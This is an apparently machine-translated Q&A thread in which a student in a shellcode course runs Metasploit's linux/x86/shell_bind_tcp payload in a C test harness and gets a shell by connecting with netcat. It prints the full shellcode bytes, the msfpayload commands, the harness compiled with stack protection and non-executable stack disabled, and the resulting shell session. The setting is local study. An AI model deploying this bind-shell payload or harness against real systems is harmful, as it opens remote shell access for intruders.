2014-01-03 4 views
1

Я запускаю полезную нагрузку Metasploit в программе песочницы c.Как запустить linux/x86/shell_bind_tcp полезную нагрузку отдельно?

Ниже приведено резюме полезной нагрузки. Оттуда я генерирую некоторый шеллкод и загружаю его в свою песочницу, но когда я его запустил, программа будет просто ждать. Я думаю, что это потому, что он ждет соединения для отправки оболочки, но я не уверен.

Как бы идти от:

  1. Генерация шелкодов
  2. загружая его в моей песочнице
  3. Успешно получить /bin/sh оболочки < - это та часть, я застрял на.

Базовая настройка:

[email protected]:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp S 
[sudo] password for max: 

     Name: Linux Command Shell, Bind TCP Inline 
    Module: payload/linux/x86/shell_bind_tcp 
    Platform: Linux 
     Arch: x86 
Needs Admin: No 
Total size: 200 
     Rank: Normal 

Provided by: 
    Ramon de C Valle <[email protected]> 

Basic options: 
Name Current Setting Required Description 
---- --------------- -------- ----------- 
LPORT 4444    yes  The listen port 
RHOST     no  The target address 

Description: 
    Listen for a connection and spawn a command shell 

Генерация Шеллкод:

[email protected]:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C 

Песочница программа с шеллкода:

#include<stdio.h> 
#include<string.h> 
/* 
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
*/ 

unsigned char code[] = \ 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" 
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" 
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" 
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" 
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" 
"\x0b\xcd\x80"; 

main() 
{ 

    printf("Shellcode Length: %d\n", strlen(code)); 

    int (*ret)() = (int(*)())code; 

    ret(); 

} 

компилировать и запускать. Тем не менее, это то, где я не знаю, как получить /bin/sh оболочки:

[email protected]:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c 
[email protected]:~/SLAE/mod2$ ./shellcode 
Shellcode Length: 20 
(program waiting here...waiting for a connection?) 

Edit:

В терминале один запуске программы шеллкода:

[email protected]:~/SLAE/mod2$ ./shellcode 
Shellcode Length: 20 

Теперь в два терминала , Я проверяю прослушиватели tcp. Предоставление -n для подавления разрешения имени узла, -t для tcp, -l для слушателей и -p для просмотра названий программ.

я могу увидеть программу шеллкода на порту 4444:

[email protected]:~$ sudo netstat -ntlp 
Active Internet connections (only servers) 
Proto Recv-Q Send-Q Local Address  Foreign Address  State  PID/Program name  
tcp  0 0  0.0.0.0:4444  0.0.0.0:*    LISTEN 14885/shellcode  
[email protected]:~$ 

Подключение telnet, и кажется, что он был успешным, но до сих пор нет sh оболочки.

[email protected]:~$ telnet 0.0.0.0 4444 
Trying 0.0.0.0... 
Connected to 0.0.0.0. 
Escape character is '^]'. 

Как получить sh оболочку?

+0

Вы пытались подключиться к порту 4444? – rc0r

+0

Я не уверен, как подключиться. Я попытался войти в ssh с помощью $ ssh [email protected] -p 4444. Однако ничего не произошло, поэтому я не уверен, какой инструмент я должен использовать для фактического подключения. – mbigras

+1

Возможно, вы захотите проверить, открыт ли порт (используйте 'netstat'). Если это попытка 'telnet'. – rc0r

ответ

0

Сформировать шеллкод, компиляция и запуск:

[email protected]:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C 
/* 
* linux/x86/shell_bind_tcp - 78 bytes 
* http://www.metasploit.com 
* VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, 
* PrependSetresuid=false, PrependSetreuid=false, 
* PrependSetuid=false, PrependSetresgid=false, 
* PrependSetregid=false, PrependSetgid=false, 
* PrependChrootBreak=false, AppendExit=false, 
* InitialAutoRunScript=, AutoRunScript= 
*/ 
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" 
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" 
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" 
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" 
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" 
"\x0b\xcd\x80"; 
[email protected]:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c 
[email protected]:~/SLAE/mod2$ ./shellcode 
Shellcode Length: 20 

Теперь в терминале 2. Проверьте соединения и, наконец, соединение с помощью netcat. Обратите внимание, что $ не появляется, но оболочка все еще есть:

[email protected]:~$ sudo netstat -ntlp 
Active Internet connections (only servers) 
Proto Recv-Q Send-Q Local Address  Foreign Address  State  PID/Program name 
tcp  0  0 0.0.0.0:4444  0.0.0.0:*   LISTEN  3326/shellcode  
[email protected]:~$ nc 0.0.0.0 4444 
pwd 
/home/max/SLAE/mod2 
whoami 
max 
ls -l 
total 516 
-rwxrwxr-x 1 max max 591 Jan 2 07:06 InsertionEncoder.py 
-rwxrwxr-x 1 max max 591 Jan 2 07:03 InsertionEncoder.py~ 
-rwxrwxr-x 1 max max 471 Dec 30 17:00 NOTEncoder.py 
-rwxrwxr-x 1 max max 471 Dec 30 16:57 NOTEncoder.py~ 
-rwxrwxr-x 1 max max 442 Jan 2 09:58 XOREncoder.py 
-rwxrwxr-x 1 max max 442 Dec 30 08:36 XOREncoder.py~ 
-rwxrwxr-x 1 max max 139 Dec 27 08:18 compile.sh